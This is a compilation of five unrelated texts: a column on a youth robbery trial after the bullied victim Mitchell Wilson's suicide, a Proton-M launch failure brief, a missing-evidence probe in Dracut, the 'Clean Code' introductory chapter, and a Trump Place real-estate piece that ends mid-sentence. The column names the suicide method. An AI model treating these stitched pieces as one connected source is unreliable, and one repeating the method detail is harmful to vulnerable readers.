-The gaunt, slight-framed boy is all buttoned down in his going-to-court blazer and navy trousers. Sitting alongside his lawyer, he swivels absentmindedly in his chair, the picture of youthful innocence.  Mitchell Wilson, who had muscular dystrophy, committed suicide last year at age 11. His parents say he was never the same after he was mugged in November 2010 by an older student at his Pickering school, and had been bullied by other students at the school. ( FAMILY PHOTO )  Thirteen years old but looking much younger. In court Monday morning, his side — the defence — lost the legal battle. If I may say so — and I can, because this is a judge-alone trial, which permits more latitude in characterizing evidence before a verdict is rendered — it’s difficult to see them losing the war. Oral and written statements made by the 11-year-old who’d fingered this accused as one of his two attackers in a sidewalk mugging were ruled admissible at trial. Justice Mary Teresa Devlin concluded those utterances rose to the level of “reliability,’’ thus invoking an exception to the use of hearsay evidence in court.  Article Continued Below  Hearsay is pretty much all the Crown had left in prosecuting charges of robbery and assault causing bodily harm. Mitchell Wilson was the victim. But the lad, despondent over his physical deterioration from muscular dystrophy and tormented by bullies, committed suicide last September. He tied a plastic bag around his head. His father, Craig Wilson, made the ghastly discovery upon entering Mitchell’s room to rouse him for school on what would have been his first day in Grade 6. The previous day, Mitchell had received a subpoena commanding him to appear as a witness in court against the youth whose buddies had hounded Mitchell at school for the entire previous year, taunting and jeering him for pursuing the matter. It is unknown how much that hectoring, the bullying, contributed to Mitchell’s depression and the terrible decision he made to take his own life. This was a resilient kid who’d watched his mother succumb to cancer only three years earlier, then was diagnosed with the muscle-atrophying condition a year after that. Yet he’d maintained his emotional equilibrium, his cheerful disposition, through all the hardships, until the afternoon a couple of punks jumped him from behind, smashed his face into the pavement, two front teeth chipped, and robbed him of the iPhone he’d borrowed from his father. That assault made him feel weak and vulnerable. This is Craig Wilson describing his son Monday: “He was just like every other kid, you know? He just wanted to have fun and be liked by his siblings. Just live life and smile and have fun and be a jokester, do all the stupid crap that kids do. He wanted to be a normal kid like everybody else and he couldn’t be. But damn, he tried.’’  With Mitchell’s suicide, the case against the defendant, his identity protected by the Youth Criminal Justice Act, nearly collapsed. The victim was no longer alive to take the stand so that his allegations could be tested, his account of events probed, and, most crucially, his ID of the one individual arrested challenged under cross-examination. There was only his word: “Utterances’’ made to his stepmother, to police, to school officials, and the statement he’d signed, with no supporting audiotape or videotape secured by investigators. Devlin agreed to hear arguments on the admissibility of that evidence in a voir dire — a trial within a trial — with five witnesses summoned. Hearsay evidence, she wrote, is “presumptively inadmissible’’ because it deprives the court from hearing testimony from a sworn witness, from observing the demeanour of that witness, and having the evidence tested through cross-examination.  Article Continued Below  But there were extraordinary circumstances here and the law allows for exceptions at a judge’s discretion. The criterion, as established by the Supreme Court: “That sufficient trust can be put in the truth and accuracy of the statements because of the way in which they came about, or by showing that in the circumstances, the ultimate trier of fact will be in a position to sufficiently assess their worth.’’ Mitchell had described the assault to an officer on the day it happened, Nov. 1, 2010. That officer told court last week Mitchell, though shaken and upset, seemed “very bright and very articulate for a 10-year-old boy.’’ Const. Colin Campbell, from Durham Region’s street-level robbery unit, followed up with Mitchell two days later, walking with him over the route he’d taken on the afternoon he was set upon. Mitchell, who used a walker at school, stubbornly continued taking lengthy strolls every day around his Pickering neighbourhood, to maintain his mobility skills. It was during this walk that he’d stopped to call home on his iPhone, inquiring what stepmom Tiffany Usher was making for dinner, just as he was passing by a group of youths standing outside a townhouse complex. Two of those boys, he believed, had then followed him, attacking from behind so that he never saw it coming, then rummaging through his pockets as he lay bleeding and stealing the phone. Usher, who happened to be driving past, saw the two youths attacking a child but didn’t realize until turning around to take a closer look that the victim was Mitchell. She pursued the two assailants — one of them tossed the phone back at her — but they both got away. On Nov. 3, Usher returned Mitchell to school following the police walk-through. They were entering the principal’s office just as another boy was exiting. Mitchell said to his stepmother: “Mom, he’s one of them.’’ Presented with class photos, Mitchell picked out the boy from pictures taken in two different years. “For sure the one,’’ he told Usher. When Campbell arrived at the school an hour later, Mitchell confirmed he was “100 per cent’’ certain of the identification. Campbell wrote a “verbatim’’ statement that Mitchell signed. All of that evidence was accepted on Monday by Devlin. Mitchell was given his voice in court. No further evidence was called by either the Crown or the defence and Devlin has reserved her verdict to March 5. “That was the biggest thing,’’ Craig Wilson said afterwards. “To know that the words he put to paper are going to be read in court as evidence. When he’s not there, they’ll stand.’’ It must be stressed, however, that the threshold of believability — proof beyond reasonable doubt — is higher at trial than in a voir dire hearing assessing reliability for admissibility of evidence. Devlin can say yes to the former, as she did, and no to the latter, when rendering a verdict. Proof beyond a reasonable doubt is at the heart of any trial. And there is significant room for doubt here. In his initial conversation with the first responding officer, Const. Susan Dubois, Mitchell could provide only a general description of his attackers: One taller and heavier, the other (the defendant) smaller and lighter, both black. He did not recognize them. Indeed, because both boys had worn their collars and hoodies up, he’s seen only a small portion of their faces. Further, his father told reporters Monday that Mitchell had no history with the accused; that boy had not bullied his son. There seems no argument Mitchell correctly identified the boy in those classroom photos as the youth who’d brushed past him in the school office. But had he been one of his assailants? It is not a small technicality. Another boy’s fate hangs in the balance. The irrefutable evidence doesn’t appear to be there. Mitchell did not die in vain. His tragedy and this trial have helped illuminate the plague of school bullying. “It seems like after this story broke, this was an underlying problem all over the province, all over Canada,’’ says Craig Wilson. “So, if this story brought more of it to light, that it’s going to make that kind of thing stop, yeah, it’s a good thing, for sure.’’ Whatever the outcome, that will be the legacy of sweet Mitchell Wilson.
-Moscow (UPI) Jul 5, 2013 - A premature launch may have caused the recent failure of a Proton-M rocket and the loss of three satellites, a Russian space industry source told RIA Novosti.  The source, requesting anonymity, said a special commission was investigating why the rocket carrying three Glonass navigation satellites veered off course and exploded shortly after launch Tuesday from the Baikonur space center in Kazakhstan.  Several possible scenarios are being investigated, the source said.  "One of them is that, for yet unknown reasons, an early start took place and resulted in the failure. The control system treated it [the early start] as an emergency situation ... and started to divert the rocket away from the launch pad, to a safer distance, just the way it was programmed.  "This version [of events] now prevails," the source said, adding other possibilities are also being carefully studied.  The incident was the second unsuccessful launch of a Proton-M rocket carrying satellites for Russia's flagship Glonass GPS system in the last 3 years, RIA Novosti said.
-It's a case that won't - and some say shouldn't - go away.  Five and a half years after some $80,000 worth of marijuana mysteriously disappeared from the Dracut police station, officials are still trying to determine who took it. Recently, several officers were ordered to take lie detector tests to help determine whether any of them could be linked to the missing drugs.  Local officials say the case has caused the town embarrassment, giving the impression that police have been unable or unwilling to solve the crime and that they might even have been involved in it.  "It gives the town a black eye," said Robert Cox, chairman of the Dracut Board of Selectmen.  At the same time, some say it's important to get at the truth.  "We need to come to some understanding of the truth, whether the police were involved or not - hopefully not," said Dracut Selectman George Malliaros, who first called for the lie-detector tests to be administered.  The probe is infuriating police union officials, who say it's time for it to end so officers can return to focusing on their work.  "I think everybody's had about enough of this investigation," said Anthony L. Archinski, regional vice president of New England Police Benevolent Association, the local police union's parent organization. "I think productivity has come to a screeching halt."  Instead of the probe to identify culprits, Archinski said, the town should call in an independent fact-finder to determine whether the theft could have been prevented and whether any police policies or procedures were violated.  Archinski, who retired as a lieutenant from the Dracut Police Department at the end of last year, having also served as local police union head, said the department's leaders are trying to swing the spotlight from what he deems their failure to properly secure the stash.  He said the marijuana, confiscated from suspects in a drug case, was being kept in a padlocked outdoor storage container in the back of the old police station on Lakeview Avenue. The new police station has adequate secure storage for confiscated evidence.  "The administration needs to stand up and take responsibility for it," Archinski said.  Dracut Police Chief Kevin M. Richardson and Deputy Chief David Chartrand did not return phone calls seeking comment about the missing marijuana and the investigation.  This is the third time officials have tried to determine what happened, having come up dry the previous two attempts. As the latest probe unfolds, townspeople are shaking their heads in wonder, says Cox.  "For the taxpayers, it's been a coffee table conversation no matter where you go," he said. "They're saying, 'What happened? How come nothing has transpired?"'  While Cox understands the union's viewpoint, he also says the situation has been difficult for Richardson, who was appointed chief in 2005, two years after the crime, but still feels obligated to pursue the investigation.
-What Is Clean Code?  By Robert C. Martin  Date: Aug 19, 2008  Sample Chapter is provided courtesy of Prentice Hall.  Return to the article  Robert C. Martin introduces his book, Clean Code, and polls experienced programmers -- including Bjarne Stroustrup, Grady Booch, Dave Thomas, and Ward Cunningham -- on what their definition of "Clean Code" is.  You are reading this book for two reasons. First, you are a programmer. Second, you want to be a better programmer. Good. We need better programmers.  This is a book about good programming. It is filled with code. We are going to look at code from every different direction. We'll look down at it from the top, up at it from the bottom, and through it from the inside out. By the time we are done, we're going to know a lot about code. What's more, we'll be able to tell the difference between good code and bad code. We'll know how to write good code. And we'll know how to transform bad code into good code.  There Will Be Code  One might argue that a book about code is somehow behind the times—that code is no longer the issue; that we should be concerned about models and requirements instead. Indeed some have suggested that we are close to the end of code. That soon all code will be generated instead of written. That programmers simply won't be needed because business people will generate programs from specifications.  Nonsense! We will never be rid of code, because code represents the details of the requirements. At some level those details cannot be ignored or abstracted; they have to be specified. And specifying requirements in such detail that a machine can execute them is programming. Such a specification is code.  I expect that the level of abstraction of our languages will continue to increase. I also expect that the number of domain-specific languages will continue to grow. This will be a good thing. But it will not eliminate code. Indeed, all the specifications written in these higher level and domain-specific language will be code! It will still need to be rigorous, accurate, and so formal and detailed that a machine can understand and execute it.  The folks who think that code will one day disappear are like mathematicians who hope one day to discover a mathematics that does not have to be formal. They are hoping that one day we will discover a way to create machines that can do what we want rather than what we say. These machines will have to be able to understand us so well that they can translate vaguely specified needs into perfectly executing programs that precisely meet those needs.  This will never happen. Not even humans, with all their intuition and creativity, have been able to create successful systems from the vague feelings of their customers. Indeed, if the discipline of requirements specification has taught us anything, it is that well-specified requirements are as formal as code and can act as executable tests of that code!  Remember that code is really the language in which we ultimately express the requirements. We may create languages that are closer to the requirements. We may create tools that help us parse and assemble those requirements into formal structures. But we will never eliminate necessary precision—so there will always be code.  Bad Code  I was recently reading the preface to Kent Beck's book Implementation Patterns.1 He says, ". . . this book is based on a rather fragile premise: that good code matters. . . ." A fragile premise? I disagree! I think that premise is one of the most robust, supported, and overloaded of all the premises in our craft (and I think Kent knows it). We know good code matters because we've had to deal for so long with its lack.  I know of one company that, in the late 80s, wrote a killer app. It was very popular, and lots of professionals bought and used it. But then the release cycles began to stretch. Bugs were not repaired from one release to the next. Load times grew and crashes increased. I remember the day I shut the product down in frustration and never used it again. The company went out of business a short time after that.  Two decades later I met one of the early employees of that company and asked him what had happened. The answer confirmed my fears. They had rushed the product to market and had made a huge mess in the code. As they added more and more features, the code got worse and worse until they simply could not manage it any longer. It was the bad code that brought the company down.  Have you ever been significantly impeded by bad code? If you are a programmer of any experience then you've felt this impediment many times. Indeed, we have a name for it. We call it wading. We wade through bad code. We slog through a morass of tangled brambles and hidden pitfalls. We struggle to find our way, hoping for some hint, some clue, of what is going on; but all we see is more and more senseless code.  Of course you have been impeded by bad code. So then—why did you write it?  Were you trying to go fast? Were you in a rush? Probably so. Perhaps you felt that you didn't have time to do a good job; that your boss would be angry with you if you took the time to clean up your code. Perhaps you were just tired of working on this program and wanted it to be over. Or maybe you looked at the backlog of other stuff that you had promised to get done and realized that you needed to slam this module together so you could move on to the next. We've all done it.  We've all looked at the mess we've just made and then have chosen to leave it for another day. We've all felt the relief of seeing our messy program work and deciding that a working mess is better than nothing. We've all said we'd go back and clean it up later. Of course, in those days we didn't know LeBlanc's law: Later equals never.  The Total Cost of Owning a Mess  If you have been a programmer for more than two or three years, you have probably been significantly slowed down by someone else's messy code. If you have been a programmer for longer than two or three years, you have probably been slowed down by messy code. The degree of the slowdown can be significant. Over the span of a year or two, teams that were moving very fast at the beginning of a project can find themselves moving at a snail's pace. Every change they make to the code breaks two or three other parts of the code. No change is trivial. Every addition or modification to the system requires that the tangles, twists, and knots be "understood" so that more tangles, twists, and knots can be added. Over time the mess becomes so big and so deep and so tall, they can not clean it up. There is no way at all.  As the mess builds, the productivity of the team continues to decrease, asymptotically approaching zero. As productivity decreases, management does the only thing they can; they add more staff to the project in hopes of increasing productivity. But that new staff is not versed in the design of the system. They don't know the difference between a change that matches the design intent and a change that thwarts the design intent. Furthermore, they, and everyone else on the team, are under horrific pressure to increase productivity. So they all make more and more messes, driving the productivity ever further toward zero. (See Figure 1-1.)  The Grand Redesign in the Sky  Eventually the team rebels. They inform management that they cannot continue to develop in this odious code base. They demand a redesign. Management does not want to expend the resources on a whole new redesign of the project, but they cannot deny that productivity is terrible. Eventually they bend to the demands of the developers and authorize the grand redesign in the sky.  A new tiger team is selected. Everyone wants to be on this team because it's a green-field project. They get to start over and create something truly beautiful. But only the best and brightest are chosen for the tiger team. Everyone else must continue to maintain the current system.  Now the two teams are in a race. The tiger team must build a new system that does everything that the old system does. Not only that, they have to keep up with the changes that are continuously being made to the old system. Management will not replace the old system until the new system can do everything that the old system does.  This race can go on for a very long time. I've seen it take 10 years. And by the time it's done, the original members of the tiger team are long gone, and the current members are demanding that the new system be redesigned because it's such a mess.  If you have experienced even one small part of the story I just told, then you already know that spending time keeping your code clean is not just cost effective; it's a matter of professional survival.  Attitude  Have you ever waded through a mess so grave that it took weeks to do what should have taken hours? Have you seen what should have been a one-line change, made instead in hundreds of different modules? These symptoms are all too common.  Why does this happen to code? Why does good code rot so quickly into bad code? We have lots of explanations for it. We complain that the requirements changed in ways that thwart the original design. We bemoan the schedules that were too tight to do things right. We blather about stupid managers and intolerant customers and useless marketing types and telephone sanitizers. But the fault, dear Dilbert, is not in our stars, but in ourselves. We are unprofessional.  This may be a bitter pill to swallow. How could this mess be our fault? What about the requirements? What about the schedule? What about the stupid managers and the useless marketing types? Don't they bear some of the blame?  No. The managers and marketers look to us for the information they need to make promises and commitments; and even when they don't look to us, we should not be shy about telling them what we think. The users look to us to validate the way the requirements will fit into the system. The project managers look to us to help work out the schedule. We are deeply complicit in the planning of the project and share a great deal of the responsibility for any failures; especially if those failures have to do with bad code!  "But wait!" you say. "If I don't do what my manager says, I'll be fired." Probably not. Most managers want the truth, even when they don't act like it. Most managers want good code, even when they are obsessing about the schedule. They may defend the schedule and requirements with passion; but that's their job. It's your job to defend the code with equal passion.  To drive this point home, what if you were a doctor and had a patient who demanded that you stop all the silly hand-washing in preparation for surgery because it was taking too much time?2 Clearly the patient is the boss; and yet the doctor should absolutely refuse to comply. Why? Because the doctor knows more than the patient about the risks of disease and infection. It would be unprofessional (never mind criminal) for the doctor to comply with the patient.  So too it is unprofessional for programmers to bend to the will of managers who don't understand the risks of making messes.  The Primal Conundrum  Programmers face a conundrum of basic values. All developers with more than a few years experience know that previous messes slow them down. And yet all developers feel the pressure to make messes in order to meet deadlines. In short, they don't take the time to go fast!  True professionals know that the second part of the conundrum is wrong. You will not make the deadline by making the mess. Indeed, the mess will slow you down instantly, and will force you to miss the deadline. The only way to make the deadline—the only way to go fast—is to keep the code as clean as possible at all times.  The Art of Clean Code?  Let's say you believe that messy code is a significant impediment. Let's say that you accept that the only way to go fast is to keep your code clean. Then you must ask yourself: "How do I write clean code?" It's no good trying to write clean code if you don't know what it means for code to be clean!  The bad news is that writing clean code is a lot like painting a picture. Most of us know when a picture is painted well or badly. But being able to recognize good art from bad does not mean that we know how to paint. So too being able to recognize clean code from dirty code does not mean that we know how to write clean code!  Writing clean code requires the disciplined use of a myriad little techniques applied through a painstakingly acquired sense of "cleanliness." This "code-sense" is the key. Some of us are born with it. Some of us have to fight to acquire it. Not only does it let us see whether code is good or bad, but it also shows us the strategy for applying our discipline to transform bad code into clean code.  A programmer without "code-sense" can look at a messy module and recognize the mess but will have no idea what to do about it. A programmer with "code-sense" will look at a messy module and see options and variations. The "code-sense" will help that programmer choose the best variation and guide him or her to plot a sequence of behavior preserving transformations to get from here to there.  In short, a programmer who writes clean code is an artist who can take a blank screen through a series of transformations until it is an elegantly coded system.  What Is Clean Code?  There are probably as many definitions as there are programmers. So I asked some very well-known and deeply experienced programmers what they thought.  Bjarne Stroustrup, inventor of C++ and author of The C++ Programming Language  I like my code to be elegant and efficient. The logic should be straightforward to make it hard for bugs to hide, the dependencies minimal to ease maintenance, error handling complete according to an articulated strategy, and performance close to optimal so as not to tempt people to make the code messy with unprincipled optimizations. Clean code does one thing well.  Bjarne uses the word "elegant." That's quite a word! The dictionary in my MacBook® provides the following definitions: pleasingly graceful and stylish in appearance or manner; pleasingly ingenious and simple. Notice the emphasis on the word "pleasing." Apparently Bjarne thinks that clean code is pleasing to read. Reading it should make you smile the way a well-crafted music box or well-designed car would.  Bjarne also mentions efficiency—twice. Perhaps this should not surprise us coming from the inventor of C++; but I think there's more to it than the sheer desire for speed. Wasted cycles are inelegant, they are not pleasing. And now note the word that Bjarne uses to describe the consequence of that inelegance. He uses the word "tempt." There is a deep truth here. Bad code tempts the mess to grow! When others change bad code, they tend to make it worse.  Pragmatic Dave Thomas and Andy Hunt said this a different way. They used the metaphor of broken windows.3 A building with broken windows looks like nobody cares about it. So other people stop caring. They allow more windows to become broken. Eventually they actively break them. They despoil the facade with graffiti and allow garbage to collect. One broken window starts the process toward decay.  Bjarne also mentions that error handing should be complete. This goes to the discipline of paying attention to details. Abbreviated error handling is just one way that programmers gloss over details. Memory leaks are another, race conditions still another. Inconsistent naming yet another. The upshot is that clean code exhibits close attention to detail.  Bjarne closes with the assertion that clean code does one thing well. It is no accident that there are so many principles of software design that can be boiled down to this simple admonition. Writer after writer has tried to communicate this thought. Bad code tries to do too much, it has muddled intent and ambiguity of purpose. Clean code is focused. Each function, each class, each module exposes a single-minded attitude that remains entirely undistracted, and unpolluted, by the surrounding details.  Grady Booch, author of Object Oriented Analysis and Design with Applications  Clean code is simple and direct. Clean code reads like well-written prose. Clean code never obscures the designer's intent but rather is full of crisp abstractions and straightforward lines of control.  Grady makes some of the same points as Bjarne, but he takes a readability perspective. I especially like his view that clean code should read like well-written prose. Think back on a really good book that you've read. Remember how the words disappeared to be replaced by images! It was like watching a movie, wasn't it? Better! You saw the characters, you heard the sounds, you experienced the pathos and the humor.  Reading clean code will never be quite like reading Lord of the Rings. Still, the literary metaphor is not a bad one. Like a good novel, clean code should clearly expose the tensions in the problem to be solved. It should build those tensions to a climax and then give the reader that "Aha! Of course!" as the issues and tensions are resolved in the revelation of an obvious solution.  I find Grady's use of the phrase "crisp abstraction" to be a fascinating oxymoron! After all the word "crisp" is nearly a synonym for "concrete." My MacBook's dictionary holds the following definition of "crisp": briskly decisive and matter-of-fact, without hesitation or unnecessary detail. Despite this seeming juxtaposition of meaning, the words carry a powerful message. Our code should be matter-of-fact as opposed to speculative. It should contain only what is necessary. Our readers should perceive us to have been decisive.  "Big" Dave Thomas, founder of OTI, godfather of the Eclipse strategy  Clean code can be read, and enhanced by a developer other than its original author. It has unit and acceptance tests. It has meaningful names. It provides one way rather than many ways for doing one thing. It has minimal dependencies, which are explicitly defined, and provides a clear and minimal API. Code should be literate since depending on the language, not all necessary information can be expressed clearly in code alone.  Big Dave shares Grady's desire for readability, but with an important twist. Dave asserts that clean code makes it easy for other people to enhance it. This may seem obvious, but it cannot be overemphasized. There is, after all, a difference between code that is easy to read and code that is easy to change.  Dave ties cleanliness to tests! Ten years ago this would have raised a lot of eyebrows. But the discipline of Test Driven Development has made a profound impact upon our industry and has become one of our most fundamental disciplines. Dave is right. Code, without tests, is not clean. No matter how elegant it is, no matter how readable and accessible, if it hath not tests, it be unclean.  Dave uses the word minimal twice. Apparently he values code that is small, rather than code that is large. Indeed, this has been a common refrain throughout software literature since its inception. Smaller is better.  Dave also says that code should be literate. This is a soft reference to Knuth's literate programming.4 The upshot is that the code should be composed in such a form as to make it readable by humans.  Michael Feathers, author of Working Effectively with Legacy Code  I could list all of the qualities that I notice in clean code, but there is one overarching quality that leads to all of them. Clean code always looks like it was written by someone who cares. There is nothing obvious that you can do to make it better. All of those things were thought about by the code's author, and if you try to imagine improvements, you're led back to where you are, sitting in appreciation of the code someone left for you—code left by someone who cares deeply about the craft.  One word: care. That's really the topic of this book. Perhaps an appropriate subtitle would be How to Care for Code.  Michael hit it on the head. Clean code is code that has been taken care of. Someone has taken the time to keep it simple and orderly. They have paid appropriate attention to details. They have cared.  Ron Jeffries, author of Extreme Programming Installed and Extreme Programming Adventures in C#  Ron began his career programming in Fortran at the Strategic Air Command and has written code in almost every language and on almost every machine. It pays to consider his words carefully.  In recent years I begin, and nearly end, with Beck's rules of simple code. In priority order, simple code: Runs all the tests; Contains no duplication; Expresses all the design ideas that are in the system; Minimizes the number of entities such as classes, methods, functions, and the like.  Of these, I focus mostly on duplication. When the same thing is done over and over, it's a sign that there is an idea in our mind that is not well represented in the code. I try to figure out what it is. Then I try to express that idea more clearly.  Expressiveness to me includes meaningful names, and I am likely to change the names of things several times before I settle in. With modern coding tools such as Eclipse, renaming is quite inexpensive, so it doesn't trouble me to change. Expressiveness goes beyond names, however. I also look at whether an object or method is doing more than one thing. If it's an object, it probably needs to be broken into two or more objects. If it's a method, I will always use the Extract Method refactoring on it, resulting in one method that says more clearly what it does, and some submethods saying how it is done.  Duplication and expressiveness take me a very long way into what I consider clean code, and improving dirty code with just these two things in mind can make a huge difference. There is, however, one other thing that I'm aware of doing, which is a bit harder to explain.  After years of doing this work, it seems to me that all programs are made up of very similar elements. One example is "find things in a collection." Whether we have a database of employee records, or a hash map of keys and values, or an array of items of some kind, we often find ourselves wanting a particular item from that collection. When I find that happening, I will often wrap the particular implementation in a more abstract method or class. That gives me a couple of interesting advantages.  I can implement the functionality now with something simple, say a hash map, but since now all the references to that search are covered by my little abstraction, I can change the implementation any time I want. I can go forward quickly while preserving my ability to change later.  In addition, the collection abstraction often calls my attention to what's "really" going on, and keeps me from running down the path of implementing arbitrary collection behavior when all I really need is a few fairly simple ways of finding what I want.  Reduced duplication, high expressiveness, and early building of simple abstractions. That's what makes clean code for me.  Here, in a few short paragraphs, Ron has summarized the contents of this book. No duplication, one thing, expressiveness, tiny abstractions. Everything is there.  Ward Cunningham, inventor of Wiki, inventor of Fit, coinventor of eXtreme Programming. Motive force behind Design Patterns. Smalltalk and OO thought leader. The godfather of all those who care about code.  You know you are working on clean code when each routine you read turns out to be pretty much what you expected. You can call it beautiful code when the code also makes it look like the language was made for the problem.  Statements like this are characteristic of Ward. You read it, nod your head, and then go on to the next topic. It sounds so reasonable, so obvious, that it barely registers as something profound. You might think it was pretty much what you expected. But let's take a closer look.  ". . . pretty much what you expected." When was the last time you saw a module that was pretty much what you expected? Isn't it more likely that the modules you look at will be puzzling, complicated, tangled? Isn't misdirection the rule? Aren't you used to flailing about trying to grab and hold the threads of reasoning that spew forth from the whole system and weave their way through the module you are reading? When was the last time you read through some code and nodded your head the way you might have nodded your head at Ward's statement?  Ward expects that when you read clean code you won't be surprised at all. Indeed, you won't even expend much effort. You will read it, and it will be pretty much what you expected. It will be obvious, simple, and compelling. Each module will set the stage for the next. Each tells you how the next will be written. Programs that are that clean are so profoundly well written that you don't even notice it. The designer makes it look ridiculously simple like all exceptional designs.  And what about Ward's notion of beauty? We've all railed against the fact that our languages weren't designed for our problems. But Ward's statement puts the onus back on us. He says that beautiful code makes the language look like it was made for the problem! So it's our responsibility to make the language look simple! Language bigots everywhere, beware! It is not the language that makes programs appear simple. It is the programmer that make the language appear simple!  Schools of Thought  What about me (Uncle Bob)? What do I think clean code is? This book will tell you, in hideous detail, what I and my compatriots think about clean code. We will tell you what we think makes a clean variable name, a clean function, a clean class, etc. We will present these opinions as absolutes, and we will not apologize for our stridence. To us, at this point in our careers, they are absolutes. They are our school of thought about clean code.  Martial artists do not all agree about the best martial art, or the best technique within a martial art. Often master martial artists will form their own schools of thought and gather students to learn from them. So we see Gracie Jiu Jistu, founded and taught by the Gracie family in Brazil. We see Hakkoryu Jiu Jistu, founded and taught by Okuyama Ryuho in Tokyo. We see Jeet Kune Do, founded and taught by Bruce Lee in the United States.  Students of these approaches immerse themselves in the teachings of the founder. They dedicate themselves to learn what that particular master teaches, often to the exclusion of any other master's teaching. Later, as the students grow in their art, they may become the student of a different master so they can broaden their knowledge and practice. Some eventually go on to refine their skills, discovering new techniques and founding their own schools.  None of these different schools is absolutely right. Yet within a particular school we act as though the teachings and techniques are right. After all, there is a right way to practice Hakkoryu Jiu Jitsu, or Jeet Kune Do. But this rightness within a school does not invalidate the teachings of a different school.  Consider this book a description of the Object Mentor School of Clean Code. The techniques and teachings within are the way that we practice our art. We are willing to claim that if you follow these teachings, you will enjoy the benefits that we have enjoyed, and you will learn to write code that is clean and professional. But don't make the mistake of thinking that we are somehow "right" in any absolute sense. There are other schools and other masters that have just as much claim to professionalism as we. It would behoove you to learn from them as well.  Indeed, many of the recommendations in this book are controversial. You will probably not agree with all of them. You might violently disagree with some of them. That's fine. We can't claim final authority. On the other hand, the recommendations in this book are things that we have thought long and hard about. We have learned them through decades of experience and repeated trial and error. So whether you agree or disagree, it would be a shame if you did not see, and respect, our point of view.  We Are Authors  The @author field of a Javadoc tells us who we are. We are authors. And one thing about authors is that they have readers. Indeed, authors are responsible for communicating well with their readers. The next time you write a line of code, remember you are an author, writing for readers who will judge your effort.  You might ask: How much is code really read? Doesn't most of the effort go into writing it?  Have you ever played back an edit session? In the 80s and 90s we had editors like Emacs that kept track of every keystroke. You could work for an hour and then play back your whole edit session like a high-speed movie. When I did this, the results were fascinating.  The vast majority of the playback was scrolling and navigating to other modules!  Bob enters the module.  He scrolls down to the function needing change.  He pauses, considering his options.  Oh, he's scrolling up to the top of the module to check the initialization of a variable.  Now he scrolls back down and begins to type.  Ooops, he's erasing what he typed!  He types it again.  He erases it again!  He types half of something else but then erases that!  He scrolls down to another function that calls the function he's changing to see how it is called.  He scrolls back up and types the same code he just erased.  He pauses.  He erases that code again!  He pops up another window and looks at a subclass. Is that function overridden?  . . .  You get the drift. Indeed, the ratio of time spent reading vs. writing is well over 10:1. We are constantly reading old code as part of the effort to write new code.  Because this ratio is so high, we want the reading of code to be easy, even if it makes the writing harder. Of course there's no way to write code without reading it, so making it easy to read actually makes it easier to write.  There is no escape from this logic. You cannot write code if you cannot read the surrounding code. The code you are trying to write today will be hard or easy to write depending on how hard or easy the surrounding code is to read. So if you want to go fast, if you want to get done quickly, if you want your code to be easy to write, make it easy to read.  The Boy Scout Rule  It's not enough to write the code well. The code has to be kept clean over time. We've all seen code rot and degrade as time passes. So we must take an active role in preventing this degradation.  The Boy Scouts of America have a simple rule that we can apply to our profession.  Leave the campground cleaner than you found it.5  If we all checked-in our code a little cleaner than when we checked it out, the code simply could not rot. The cleanup doesn't have to be something big. Change one variable name for the better, break up one function that's a little too large, eliminate one small bit of duplication, clean up one composite if statement.  Can you imagine working on a project where the code simply got better as time passed? Do you believe that any other option is professional? Indeed, isn't continuous improvement an intrinsic part of professionalism?  Prequel and Principles  In many ways this book is a "prequel" to a book I wrote in 2002 entitled Agile Software Development: Principles, Patterns, and Practices (PPP). The PPP book concerns itself with the principles of object-oriented design, and many of the practices used by professional developers. If you have not read PPP, then you may find that it continues the story told by this book. If you have already read it, then you'll find many of the sentiments of that book echoed in this one at the level of code.  In this book you will find sporadic references to various principles of design. These include the Single Responsibility Principle (SRP), the Open Closed Principle (OCP), and the Dependency Inversion Principle (DIP) among others. These principles are described in depth in PPP.  Conclusion  Books on art don't promise to make you an artist. All they can do is give you some of the tools, techniques, and thought processes that other artists have used. So too this book cannot promise to make you a good programmer. It cannot promise to give you "code-sense." All it can do is show you the thought processes of good programmers and the tricks, techniques, and tools that they use.  Just like a book on art, this book will be full of details. There will be lots of code. You'll see good code and you'll see bad code. You'll see bad code transformed into good code. You'll see lists of heuristics, disciplines, and techniques. You'll see example after example. After that, it's up to you.  Remember the old joke about the concert violinist who got lost on his way to a performance? He stopped an old man on the corner and asked him how to get to Carnegie Hall. The old man looked at the violinist and the violin tucked under his arm, and said: "Practice, son. Practice!"  Bibliography  [Beck07]: Implementation Patterns, Kent Beck, Addison-Wesley, 2007.  [Knuth92]: Literate Programming, Donald E. Knuth, Center for the Study of Language and Information, Leland Stanford Junior University, 1992.
-Harvey and Peggy Koeppel did their research before putting their house on the market earlier this year. They checked with real-estate brokers, researched neighborhood sale history, placed ads in all the right places.  And they listed their three-bedroom apartment with sweeping views of the Hudson River, high ceilings, and hardwood floors for a broker-recommended price of $2.85 million. They figured, like almost every apartment in New York, and certainly every apartment in Manhattan, that it would attract a throng of interest, and probably a few offers after an open house, some of them even above the asking price.  Instead, nothing. The open house was a bust. The flood of would-be buyers was a trickle. No offers came through. So the Koeppels cut the price by $55,000.  Still nothing.  Now the only thing they can figure wrong with their apartment is the name on the front of the building: Trump Place.  “The number of people who have even come to look at this place is shockingly low,” Harvey Koeppel said. “It is horrific to be caught up in this maelstrom.”  In a little more than a week, the Trump political phenomenon will have more than likely run its course. The reality TV star will return to New York, and the Republican Party will be left sorting through the wreckage.  But for families like the Koeppels, and thousands of others across the country whose most significant financial asset is inextricably linked with the Trump name, the fallout from the 2016 campaign is very much a contested subject. Will a defeated Trump slink off of the national stage, his name little more than a footnote to history, someone who through a confluence of factors (an abnormally large Republican field, a certain facility with modern media) managed to sneak his way into the nomination?  Or will the Trump name live on beyond 2016 and become synonymous with a certain kind of snarling nativism, demagoguery, and racial resentment. Will Trump be remembered as Michael Dukakis, in other words, or Father Coughlin?  For the residents of Trump Place, or for that matter Trump Parc and Trump Plaza and Trump Plaza Residences New Jersey and Trump Tower in the suburbs of Westchester, this is the $2.85 million question (or in many cases, much much more.) Who, after all, would be in the market for an apartment in Joseph McCarthy Court, or George Wallace Gardens, no matter how good the views or lacquered the hardwood floors?  At Trump Place, a series of architecturally charmless properties on the far West Side of Manhattan just below Riverside Park, residents say they are going to be watching the aftermath of the election more closely than ever with an eye toward what it means for their portfolios.  Already, a petition to have the Trump name removed from the building has garnered 80 signatures out of the 400 or so units across the properties. Backers of the name change say the number is artificially low because many apartment owners in the complex are foreign and rarely make an appearance in the building, so much so that the condo board has been unable to convene a quorum to address the measure.  “This is a very emotional situation for people, but the only thing that should matter is the economics of it,” said one building resident, a corporate attorney who, fearful of Trump’s capacity for retribution, asked that his name not be used. “There was a time when the brand 